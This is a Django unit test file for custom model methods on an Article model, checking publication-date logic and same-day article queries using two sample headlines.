from datetime import date from django.test import TestCase from .models import Article class MethodsTests(TestCase): def test_custom_methods(self): a = Article.objects.create( headline="Parrot programs in Python", pub_date=date(2005, 7, 27) ) b = Article.objects.create( headline="Beatles reunite", pub_date=date(2005, 7, 27) ) self.assertFalse(a.was_published_today()) self.assertQuerysetEqual( a.articles_from_same_day_1(), [ "Beatles reunite", ], lambda a: a.headline, ) self.assertQuerysetEqual( a.articles_from_same_day_2(), [ "Beatles reunite", ], lambda a: a.headline ) self.assertQuerysetEqual( b.articles_from_same_day_1(), [ "Parrot programs in Python", ], lambda a: a.headline, ) self.assertQuerysetEqual( b.articles_from_same_day_2(), [ "Parrot programs in Python", ], lambda a: a.headline )
{ "pile_set_name": "Github" }